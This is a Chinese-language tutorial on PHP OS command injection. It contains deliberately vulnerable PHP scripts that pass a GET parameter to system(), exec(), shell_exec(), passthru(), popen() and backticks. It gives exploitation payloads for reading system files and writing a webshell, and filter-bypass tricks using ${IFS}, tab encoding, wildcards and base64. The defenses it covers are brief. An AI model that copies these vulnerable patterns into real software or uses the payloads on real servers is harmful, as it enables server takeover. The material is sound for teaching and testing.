一、命令执行漏洞概述
命令执行漏洞是一种严重的网络安全漏洞。当应用程序未能正确处理用户输入,将恶意构造的输入当作操作系统的命令执行时,就会出现这种情况。攻击者可以利用这种漏洞在服务器上执行任意系统命令,从而获取敏感信息、篡改数据、安装恶意软件,甚至完全控制服务器。
1.1 命令执行VS远程代码执行
代码执行和命令执行漏洞都是允许攻击者在目标系统上执行任意代码或命令的安全漏洞类型,但它们存在多方面的区别:
1.1.1 执行环境
- 命令执行:直接与操作系统交互,执行系统命令。攻击者可以运行像
ls
(列出目录内容)、cat
(查看文件内容)、rm
(删除文件)等系统命令。 - 代码执行:允许攻击者执行编程语言的代码,如PHP、Python、Java等。攻击者可以利用漏洞执行恶意脚本或程序代码,实现更复杂的攻击逻辑,如创建恶意文件、修改配置文件、窃取数据等。
1.1.2 漏洞成因
- 命令执行:通常由于应用程序在调用系统命令时,未对用户输入进行严格过滤和验证,导致攻击者能够注入恶意命令。例如,应用程序直接将用户输入拼接到系统命令中,攻击者可以通过输入分号、管道符等特殊字符来分隔和注入额外的命令。
- 代码执行:可能由多种原因引起,如应用程序中存在不安全的代码解析器、反序列化漏洞等。攻击者通过构造恶意的输入数据,诱导应用程序执行恶意代码。例如,应用程序错误地将用户输入当作代码来执行,或者在反序列化过程中执行了恶意代码。
1.1.3 攻击影响
- 命令执行:攻击者可以利用该漏洞直接对系统进行操作,如获取系统信息、修改系统配置、上传和下载文件等。但其执行的命令通常受到操作系统的限制,攻击者需要具备一定的系统知识才能有效利用。
- 代码执行:攻击者可以执行更复杂的逻辑,如创建恶意进程、修改应用程序的运行状态、窃取敏感数据等。由于代码执行的灵活性更高,攻击者可以实现更复杂的攻击场景,对系统的威胁更大。
总之:OS命令注入{操作系统命令注入} vs PHP代码注入{PHP 代码在服务器执行}的核心区别:注入的内容不同,语言类注入注入的是语言代码,运行在应用程序中;命令注入注入的是系统命令,运行在操作系统中。
1.2 漏洞原理
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一 些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
1.用户输入作为拼接
2.没有足够的过滤
1.3 漏洞危害
- 1.继承Web服务器程序权限(Web 用户权限),去执行系统命令
- 2.继承Web服务器权限,读写文件
- 3.反弹Shell(服务器主动连接攻击者)
- 4.控制整个网站
- 5.控制整个服务器
二、相关函数
2.1 system()
system()能够将字符串作为0S命令执行,自带输出功能
,等待命令执行完毕回显。
测试代码如下:
system.php
<meta charset='gb2312'>
<?php
if(isset($_ GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
}else{
echo "?cmd=ipconfig";
}
?>
EX:system 命令执行
C:\phpstudy\WWW\command-i\system.php
![]()
![]()
![]()
2.2 exec()
exec()函数能将字符串作为0S命令执行,需要输出执行结果
。
测试代码如下:
<meta charset="gb2312">
<?php
if(isset($_GET[' cmd'])){
echo "<pre>" ;
print exec($_GET['cmd']) ;
}else{
echo "? cmd=whoami";
}
?>
EX:exec 命令注入
C:\phpstudy\WWW\command-i\exec.php
![]()
![]()
返回结果有限。但是命令已经执行。
2.3 shell_exec() 应用最广泛
测试代码如下:
<meta charset="gb2312">
<?php
if(isset($_GET['cmd'])){
echo "<pre>" ;
print shell_exec($_GET['cmd']) ;
}else{
echo "?cmd=whoami";
}
?>
EX:shell_exec()命令注入
![]()
![]()
相比
exec()
函数,输出的结果更为全面。
2.4 passthru()
自带输出
测试代码如下:
<meta charset="gb2312">
<?php
if(isset($_GET['cmd'])){
echo "<pre>" ;
passthru($_GET['cmd']) ;
}else{
echo "?cmd=whoami";
}
?>
EX:passthru()命令注入
![]()
![]()
2.5 popen()
popen()也能够执行0S命令,但是该函数并不是返回命令结果,而是返回一个文件指针。
无论返回什么,我们关心的是命令是否执行。
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'].">> 1.txt" ;
popen($cmd,'r');
}else{
echo "?cmd=whoami" ;
}
?>
查看1.txt
EX:popen()命令注入
![]()
![]()
![]()
利用shell_exec注入查看文件内容。
2.6 反引号
反引号内的字符串,也会被解析成0S命令。
测试代码如下:
<?php
if(isset($_GET[ 'cmd'] ) ){
$cmd=$_GET[ 'cmd'] ;
echo "<pre>";
print `$cmd`;
}else{
echo" ?cmd=whoami";
}
?>
EX:反引号命令注入
![]()
![]()
三、漏洞利用
OS命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。
以下命令均在windows系统下测试成功。
3.1 查看系统文件
提交参数[?cmd=type C:\windows\system32\drivers\etc\hosts]✅,查看系统hosts文件。
3.2 显示当前路径
提交参数[?cmd=cd]
3.3 写文件
?cmd=echo "<?php phpinfo();?>" > D:\xampp\htdocs\command-i\shell.php
?cmd=echo "<?php phpinfo();?>" > C:\phpstudy\WWW\command-i\shell.php
页面没有报错,说明文件写入成功。
访问shell.php文件。
3.4 getshell
通过写入一个存在代码注入漏洞的php脚本,如一句话木马。
然后用菜刀 蚁剑等连接,即可getshell,控制整个网站甚至服务器。
3.5 Linux命令执行逻辑
- cmd1 | cmd2 (|管道操作符)
将cmd1的结果输出给cmd2 - cmd1 & cmd2 (&和号操作符)
让命令在后台运行 - cmd1 ; cmd2 (; 分号操作符)
执行多条命令。 - cmd1 && cmd2 (&& 与操作符) -【两个成功才是真成功】
只有cmd1命令执行成功后,才会执行cmd2。 - cmd1 || cmd2 (|| 或操作符) -【两个失败才是真失败】
cmd1执行失败,才会执行cmd2。
四、防御方法
4.1 禁用函数
尽量减少命令执行函数的使用,并在php.ini disable_functions 中禁用
例如:
重启服务。
4.2 输入过滤
在进入命令执行的函数或方法之前,对参数进行过滤
4.3 转义
参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
自动对单引号双引号和”"转译。
高版本默认对GPC数据不转译。
五、防御绕过技巧
5.1 全局环境变量
$IFS
在 Linux 系统中,
${IFS}
是一个环境变量,称为 Internal Field Separator(内部字段分隔符)。它用于定义 shell 在解析输入时用来分隔字段(如单词或参数)的字符集合。
${IFS}
的默认值通常是空格、制表符(\t
)和换行符(\n
)。这意味着在默认情况下,shell 会将输入按照这些字符分隔成多个字段。![]()
$9
在 Linux 系统中,
$9
并不是一个环境变量,而是一个位置参数(positional parameter)。它用于在脚本或命令行中引用传递给脚本或函数的第九个参数。如果传递的参数少于 9 个,
$9
将不会被赋值,引用时会得到空值。
5.2 重定向符号
cat<test
1234
cat<>test
1234
5.3 变量定义
5.4 字符串处理
5.5 其他特殊字符绕过
文件分割:cut,split,sed,awk
脚本语言:python,perl
xxd -r -p file
5.6 针对空格过滤的绕过
- 字符串拼接
FS(内部域分隔),是Shell的内置变量,是一个用于分割字段的字符
列表,默认值是空白(包括空格、tab、换行)。
- 使用{}
例如{cat,text}
- 使用Tab
?_=cat%09/etc/passwd
- 在读取文件的时候利用重定向符<>
cat<>text
cat<text
5.7 黑名单关键字绕过
- 字符串拼接
a=c;b=at;c=tex;d=t;$a$b ${c}${d}
- 利用环境变量
echo ${SHELLOPTS}
echo ${SHELLOPTS:3:1}
${SHELLOPTS:3:1}at${IFS}text
- 使用空变量
cat t${x}ext
- 利用Linux通配符(? *)
/bin/ca? tex?
- 使用反斜杠
- 使用base64编码
echo t | base64
ca$(echo "dAo="|base64 -d) text
总结
命令执行漏洞是指应用程序在执行系统命令时,由于未对用户输入进行严格过滤和验证,导致攻击者能够通过构造恶意输入,注入并执行任意系统命令的一种安全漏洞。攻击者利用该漏洞可以获取系统信息、修改系统配置、上传和下载文件等,严重威胁系统的安全性和稳定性。防范命令执行漏洞的关键在于对用户输入进行严格的过滤和验证,避免将用户输入直接拼接到系统命令中,同时使用安全的API或函数来执行系统命令,并限制命令执行的权限。
附:windows常用变量
%APPDATA% : 列出应用程序数据的默认存放位置。
%CD% : 列出当前目录。
%CLIENTNAME% : 列出联接到终端服务会话时客户端的NETBIOS名。
%CMDCMDLINE% : 列出启动当前cmd.exe所使用的命令行。
%CMDEXTVERSION% : 命令出当前命令处理程序扩展版本号。
%CommonProgramFiles% : 列出了常用文件的文件夹路径。
%COMPUTERNAME% : 列出了计算机名。
%COMSPEC% : 列出了可执行命令外壳(命令处理程序)的路径。
%DATE% : 列出当前日期。
%ERRORLEVEL% : 列出了最近使用的命令的错误代码。
%HOMEDRIVE% : 列出与用户主目录所在的驱动器盘符。
%HOMEPATH% : 列出用户主目录的完整路径。
%HOMESHARE% : 列出用户共享主目录的网络路径。
%LOGONSEVER% : 列出有效的当前登录会话的域名控制器名。
%NUMBER_OF_PROCESSORS% : 列出了计算机安装的处理器数。
%OS% : 列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.)
%Path% : 列出了可执行文件的搜索路径。
%PATHEXT% : 列出操作系统认为可被执行的文件扩展名。
%PROCESSOR_ARCHITECTURE% : 列出了处理器的芯片架构。
%PROCESSOR_IDENTFIER% : 列出了处理器的描述。
%PROCESSOR_LEVEL% : 列出了计算机的处理器的型号。
%PROCESSOR_REVISION% : 列出了处理器的修订号。
%ProgramFiles% : 列出了Program Files文件夹的路径。
%PROMPT% : 列出了当前命令解释器的命令提示设置。
%RANDOM% : 列出界于0 和 32767之间的随机十进制数。
%SESSIONNAME% : 列出连接到终端服务会话时的连接和会话名。
%SYSTEMDRIVE% : 列出了Windows启动目录所在驱动器。
%SYSTEMROOT% : 列出了Windows启动目录的位置。
%TEMP% and %TMP% : 列出了当前登录的用户可用应用程序的默认临时目录。
%TIME% : 列出当前时间。
%USERDOMAIN% : 列出了包含用户帐号的域的名字。
%USERNAME% : 列出当前登录的用户的名字。
%USERPROFILE% : 列出当前用户Profile文件位置。
%WINDIR% : 列出操作系统目录的位置。
%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
%CD% 本地 返回当前目录字符串。
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME% 系统 返回计算机的名称。
%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH% 系统 指定可执行文件的搜索路径。
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 系统 返回处理器的版本号。
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
%USERNAME% 本地 返回当前登录的用户的名称。
%USERPROFILE% 本地 返回当前用户的配置文件的位置。
%WINDIR% 系统 返回操作系统目录的位置。
%allusersprofile%--------------------所有用户的profile路径
%Userprofile%-----------------------当前用户的配置文件目录
%Appdata%--------------------------当前用户的应用程序路径
%commonprogramfiles%-------------应用程序公用的文件路径
%homedrive%------------------------当前用户的主盘
%Homepath%------------------------当前用户的主目录
%programfiles%----------------------应用程序的默认安装目录
%systemdrive%----------------------系统所在的盘符
%systemroot%-----------------------系统所在的目录
%windir%----------------------------同上,总是跟systemroot一样
%tmp%------------------------------当前用户的临时目录
%temp%-----------------------------同上临时目录